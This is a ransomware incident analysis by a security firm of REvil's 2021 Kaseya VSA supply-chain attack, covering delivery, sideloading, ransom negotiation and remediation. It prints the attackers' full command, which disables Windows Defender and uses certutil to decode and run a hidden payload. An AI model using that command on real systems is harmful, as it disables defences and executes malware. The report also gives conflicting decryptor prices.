In the world of cybersecurity, there are no holidays and days off as proven by the ransomware attacks that began during the Fourth of July weekend, impacting users of the Kaseya VSA remote management and monitoring software. Managed service providers (MSPs) were targeted by the REvil hacker group, in a novel approach to distributing ransomware that involved compromising on-prem Kaseya VSA servers and distributing malicious software that is still encrypting thousands of servers and workstations across industries worldwide.
Since the start of the attack, SecurityScorecard has assembled additional information during our investigation in order to share it with the cybersecurity and intelligence community and to provide guidance in responding to the incident. Using sideloading techniques, where trusted binaries are made to distribute malicious code, the attack illustrates the continued danger of supply chain risk to companies both large and small.
- To address the large-scale fallout of this attack and to streamline one-off negotiations, REvil is currently offering a Universal Decryptor for a price of $70M USD, an increase from previously documented discussions.
- REvil also indicated they have data on hundreds of companies, those who do not pay may appear on their leak site and have their data sold to the highest bidder.
- The attack appears to be well planned and executed, beginning May 2021 with variants of agent.exe appearing early that month. Furthermore, a single affiliate appears to be responsible for this attack.
- REvil has engaged with third parties to handle negotiations on behalf of the group through the chat support portal Decoder.re.
- Evidence suggests that the United States MSP supply chain was primarily targeted for this operation: however, due to the wide-scale nature of the attack, multiple countries were impacted.
On the afternoon of July 2, Kaseya announced that its VSA remote management and monitoring software was the vehicle of a ransomware attack targeting a number of managed service providers (MSPs) and their customers. The US Cybersecurity and Infrastructure Security Agency later confirmed the supply chain attack against Kaseya and the multiple MSPs using their VSA software.
The attack was soon attributed to REvil (aka Sodinokibi); the same group behind the May 1, 2021, JBS food processing ransomware attack. The attack was purportedly limited to on-premise instances of Kaseya VSA, and at this time has not been detected across the company’s SaaS instances of Kaseya VSA, or its NOC platform (either on-premise or SaaS).
SecurityScorecard’s platform and the company’s Investigations & Analysis team have identified a number of vulnerabilities that may have led to the malicious software distribution by compromised Kaseya VSA servers, how it spread, specific identifiers of the malicious actors, as well as key signatures in the software behaviors.
The analysis of the agent.exe which is believed to be a fake agent file is an interesting aspect of this attack. This new approach goes to show that REvil has changed some of their tactics to supplement previous one-off attacks, and instead compromise an entire supply chain, significantly amplifying the reach of the attack. The business model of REvil is to work through affiliates (partners) and initial access brokers to conduct intrusions on targeted companies. It is reported that the group modified the update process in order to deliver the encrypting component to a victim’s network. The big question is did they hack Kesaya and introduce a fake update component, or did they target MSPs and introduce a fake update directly to vulnerable VSA servers. Our analysis indicates they did not modify a component associated with Kaseya’s infrastructure, indicating they did not have access to the VSA software build environment. Rather, agent.exe is not distributed with the official VSA software, it's a component created and compiled by the attackers to install Sodinokibi ransomware.
Another factor to examine is whether or not this variant of Sodinokibi was customized for this attack or was simply an off-the-shelf variant shared in other attacks.
The malicious executable is called via a stored procedure on VSA servers that essentially executes a PowerShell command. This command disables some features of Windows Defender to enable the malicious code execution to remain undetected. This stored procedure is then injected into the SQL database of the Kaseya VSA server to be used in a script that is executed on the VSA agents (any remote-managed or monitored device on the customer’s infrastructure).
"C:\WINDOWS\system32\cmd.exe" /c ping 127.0.0.1 -n 4979 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe
Command executed via AgentMon.exe
The malware agent.exe is delivered through agent.crt to the kworking path and is digitally signed as described later. AgentMon (the VSA agent for Kaseya) writes the base64 encoded agent.crt to C:\kworking which is the update path for the agent. As shown in the command above cert.exe -decode is used to decode the base64 portion from agent.crt.
The agent.crt at first glance appears to be a legitimate certificate file (this is intentional to avoid security products from detecting), however later in this file is a base64 encoded blob that contains agent.exe (Sodinokibi executable). The executable file is hidden within the “BEGIN CERTIFICATE” section.
Main body of agent.crt
Base64 encoded executable
Base64 decoded blob (agent.exe)
During our investigation we observed a ransomware negotiation between the REvil operators and some impacted victims. When infected with this variant the attackers ask for $45,000 USD as a default price, which is significantly less than what is normally asked for by the REvil operators. However, there is a presumed reason behind this methodology as described below.
Threat actors have implemented chat support for infected victims through the domain Decoder.re. A unique ID is tied to each execution of REvil ransomware that is needed in order to obtain the instructions for payment. The chat and negotiation is tied to that unique ID so that the REvil operators can set the price on-the-fly. This indicates that REvil is performing additional research on the MSP customers that have been compromised to determine their ability to pay. Through our analysis, we did observe that there is a human operator on the other end of this chat support site and that they will respond to questions. This chat support is also the area where the primary negotiation for the ransom price will occur as we obtained through our sources and observation.
The ransom amount of $45,000 USD is for a single system and a single file extension (.docx or .pdf for example). The attackers are willing to negotiate what the price would be for an entire company network of encrypted systems, including a varying number of file extensions in a package deal. In our analysis, the negotiated ransom amount is substantially less than the initial asking price per file extension, but for any sizable company network, it's going to easily reach millions of dollars.
There is clearly a process behind the scenes negotiating the price with other individuals involved. Some discounts are given initially, but will not be honored after the six to seven-day payment period has elapsed.
If the infected victim fails to pay, the price will double and they will analyze the files and sell them on the dark web in a month.
The attackers have the ability to modify each victim’s ransom page on the fly with an updated price and cryptocurrency wallet based on discussions in the chat support. The cryptocurrency wallet address is also tied to the victim, likely for the purposes of tracking. In the screen capture below, the payment amount is approximately $3M USD in BTC (Bitcoin). Other payment pages shared with our investigation team show Monero (XMR) being used as the cryptocurrency.
The universal decoder
The REvil operators mentioned in our observed chat support session that there is a Universal Decryptor for all Kaseya victims. It's clear that they are aware of the scope and impact of this attack and planned for offering a large-scale remediation option by offering a single tool. Furthermore, this tool will only work for those who were impacted by the Kaseya attack and will not work to decrypt victims of other REvil ransomware variants.
The tool that will be offered to Kaseya victims for $50M USD will be able to decrypt over a million infected computers.
From the intelligence that we were able to obtain, the Universal Decryptor is made specifically for victims of the Kaseya attack. It is clear that the attackers had planned to account for the scenario of hundreds of companies that might become impacted.
Further details reveal that they have also hit Linux servers and provide the same universal decryptor for that operating system.
The cryptocurrency price can be updated to reflect the price of the Universal Decoder.
The BTC wallet address for this overall payment for the tool seems to have been generated on the fly as well as the initial XMR address. REvil later posted (after the details were exposed in the chat session) on their leak site information about this universal decryptor
The operators alluded to being in touch with over 100 companies, possibly involved currently in negotiations. It's also clear that the operators on the other hand work as an affiliate for REvil.
Additionally, it appears they have data on hundreds of companies involved in the Kaseya attack.
When asked about the motivation for the Kaseya attack, it's clear they are an affiliate or a low-ranking member that is facilitating payments and negotiations on behalf of REvil.
Some additional details reveal that many large American banks and US targets may have been more predominantly impacted due to their using Kaseya VSA for remote management and monitoring software.
The attackers have the ability to create a private chat session upon request and the ransomware support server spawns a new chat. The primary chat page is a public chat apparently that could be accessible by anyone that has the victim’s unique ID and URL. However, the private chat session that is spawned appears to be separated from the rest of the chat and is accessible via a token key that expires in one minute.
Later in our observed discussion with the chat support team, they acknowledged including socially-charged messaging in the infected systems Windows registry.
The domain Decoder.re was created on December 18, 2020, and has been actively seen serving up a website for infected victims. The Decoder.re website is used in the event the victim can’t access the TOR network in order to get to the instruction page. The primary DNS record for the domain resolves to 188.8.131.52 which is hosted in Russia and has been hosted there for over a year and is linked to various REvil operations.
The attackers are using the domain as described above to interact with infected victims. This is a common portal for REvil to interact with victims of various campaigns over time. This is where their main chat support system resides that to date is the only way for victims to interact with REvil. This server is hosted in Russian IP address space and according to NetFlow analysis we see several connections within Russia to this IP address during the period of the attack.
Further, we are able to observe using NetFlow analysis active encrypted chat sessions with REvil during the period of the attack. The geographical breakdown is described in the below chart, we expect this to increase in the days to come.
Insights into Agent.exe
The agent.exe was compiled July 1, 2021, indicating that the attackers had created the component a day before the attack was made public news. From what we can tell the individual organizations were not attacked directly, rather the agent.exe was likely distributed starting on July 1st.
When the victim is encrypted with the Sodinokibi malware a ransom note is displayed on the encrypted server or workstation. This note contains instructions for the victim to access a TOR onion site to learn how much ransom is being demanded and how to pay it. Examining the data, we see that there is also a secondary site (if TOR is blocked in a country or on a corporate network) contained in this note that has been a constant in multiple REvil attacks, the domain Decoder.re.
From our analysis agent.exe does not appear to be a component distributed with the VSA server software, rather it is a REvil malware variant. The agent.exe malware is digitally signed with a valid digital signature belonging to an entity that has no association with Kaseya. The digital signature has been used exclusively to sign these components related to the attack based on our observations. The digital signature is linked to an outlook.com email address:
When the agent.exe file is executed on the system, the primary process will drop the next executable MsMpEng.exe into the C:\windows directory. This file is flagged as clean by any anti-virus software present on the system and is associated with the Microsoft Malware Protection service that was created and signed in 2014. The trusted and valid Microsoft executable MsMpEng.exe is used to side load the DLL (Dynamic-link Library) component that is used to actually encrypt the victim’s servers and workstations. The component C:\windows\mpsvc.dll that was also dropped into the Windows directory is the actual Sodinokibi malware that will encrypt the victim’s devices.
The technique of DLL sideloading is the process by which a valid DLL is overwritten by a malicious one and loaded by a valid application or trusted executable file. This DLL was also compiled a day before the actual attack was reported in the media. When analyzing the PE file structure of the malware (agent.exe), we can observe it is broken up into several components.
The component MODLIS is the malicious Sodinokibi malware that gets side-loaded by SOFTIS, the valid Microsoft Malware Protection executable. We can only assume that the reported fake VSA Hot-fix task is a PowerShell script that launches the dropping and execution of the agent file, however, since the file is not made public we can only make speculations.
The component MPSVC.dll has been seen before in Sodinokibi attacks dating back to April 2021. In the configuration file of Sodinokibi ransomware there is a campaign ID, this is often referring to the affiliate ID that is used by the main REvil group to track affiliates using the encryptor; in this case, the ID is 8254. We investigated further to understand more about the affiliate involved in this attack and any other variants that might be involved. Analyzing Sodinokibi ransomware configuration files from other attacks dating back to earlier this year one ID appears to be uniquely linked to the campaign ID 8254. The primary malware file was compiled on July 1, 2021, however, we have identified another binary sharing the same affiliate ID. In later versions of Sodinokibi we have identified it uses a Bcrypt hash for the identifier belonging to the affiliate.
This malware binary was compiled in May 2021 and only appeared in the wild in July 2021.
Malware Properties File
Tracking affiliate IDs
During our analysis we extracted and compared several Sodinokibi malware samples and their affiliate IDs. Affiliate IDs are a way for the main REvil group to track who is using their ransomware and a method for tracking payments by victims. An analysis of Sodinokibi variants and their decrypted configuration files dating back to May indicate several affiliates have been active. We discovered two samples belonging to the same affiliate responsible for the attack, one dating back to May, 2021.
However there has not been an unusual up-tick in victims reported on their leak site, rather the number has remained constant.
REvil Affiliate IDs and Campaign IDs
During our investigation we observed Windows registry keys being written with socially-charged messages. This is abnormal for REvil who is not considered politically motivated, but motivated by money. Initially a large-scale attack such as this is a typical motivation for Nation State attacks. However, given that REvil is not historically motivated by political reasons, it is possible that the intention of this attack was also to cause disruption during the Fourth of July holiday; the socially charged messages are aimed at the United States. It's also clear that REvil developed a Universal Decryptor (fix) in order to deal with the large-scale fall out of this operation which was only later revealed.
One interesting aspect to this attack is the malware inserted controversially-themed, politically-charged registry key names. One of the malware variants related to this campaign writes the text “BlackLivesMatter” to the Windows registry. We can only speculate why these socially-charged messages appear as artifacts on the infected system. One theory is based on our chat conversation that the United States was the primary target of this campaign. Further there were also reports that the variant contained references to Donald Trump.
We noticed an increased number of connections in our SecurityScorecard sinkholes from Sodinokibi IP addresses on July 2nd, most of the connections were from 0 GMT to 12 GMT. From July 1st and 2nd we extracted all the IPs that contacted our sinkhole servers that made POST method HTTP requests. The query resulted in a list of 321 IP addresses. After identifying what companies and corporate networks correspond to those IP addresses, we have created a list of 119 possible victims.
Kaseya VSA remediation
- Read the Kaseya advisory and shutdown all on-prem Kaseya VSA servers per their guidance if you have not done so already
- Kaseya announced and subsequently published a downloadable Kaseya VSA Detection Tool, or customers can request it from [email protected] with the subject “Compromise Detection Tool Request” that includes several PowerShell scripts that search for:
- MD5 filehash for the suspicious endpoint file agent.exe
- MD5 filehash for agent.crt
- Windows registry keys associated with the attack
- IIS web server logfiles on your VSA server from July 2nd onwards looking for requests to “userfiltertablerpt.asp”
- Begin offline restore procedures from system backups if you have been infected with the ransomware, and apply appropriate security patches and updates from Kaseya for the VSA server when available. A link will most likely be published on their website here: kaseya.com/potential-attack-on-kaseya-vsa
General best practices
- Apply vendor security updates and OS security updates regularly.
- Apply Multi-factor authentication (MFA) on all accounts managed by the organization, and where able, enforce MFA rules on customer or vendor-facing services.
- Block internet access to Windows RDP TCP port 3389 on your servers and workstations.
- Block internet access to network devices like switches and routers for the telnet protocol on TCP port 23. Use SSH access instead of Telnet remote access to such devices and protect them with ACLs or a VPN.
- When exposing an application portal to the internet, create explicit allow rules to restrict remote access to only your known and trusted network ranges and IP addresses.
- Use a continuous monitoring service like SecurityScorecard that provides insights into your own security posture and that of your vendors, partners, and service providers.
Prior to and during the Kaseya REvil ransomware attack, the SecurityScorecard ratings platform detected a number of issues and vulnerabilities that could clearly have contributed to making Kaseya’s infrastructure susceptible to a ransomware attack. Scorecard findings and issues provide a necessary view towards understanding your risk of breach events and security incidents. Additionally, creating a portfolio of your core vendors and service providers is a proactive approach to mitigating risk and an essential part of any infosec program for companies large and small.
Both you and your weakest link in your supply chain are constantly being attacked. Having tools that can automatically warn you about these risks and vulnerabilities is critical.
Contact us for access to your own scorecard for free today and see what the hackers see.
The team at SecurityScorecard would like to thank the tireless efforts of Huntress.com, Cyberthreatalliance.org, and Divd.nl among many others for sharing their awareness and details of this attack. Without their strong work, the impact of this disruption to hundreds of companies would have been much greater. It is our community of threat intelligence and information security professionals that creates the basis of our resilience and collective ability to respond to and recover from attacks like these. We can only hope that our combined efforts, supported by healthy government collaboration with the private sector and academia, will grow in capability, speed and strength.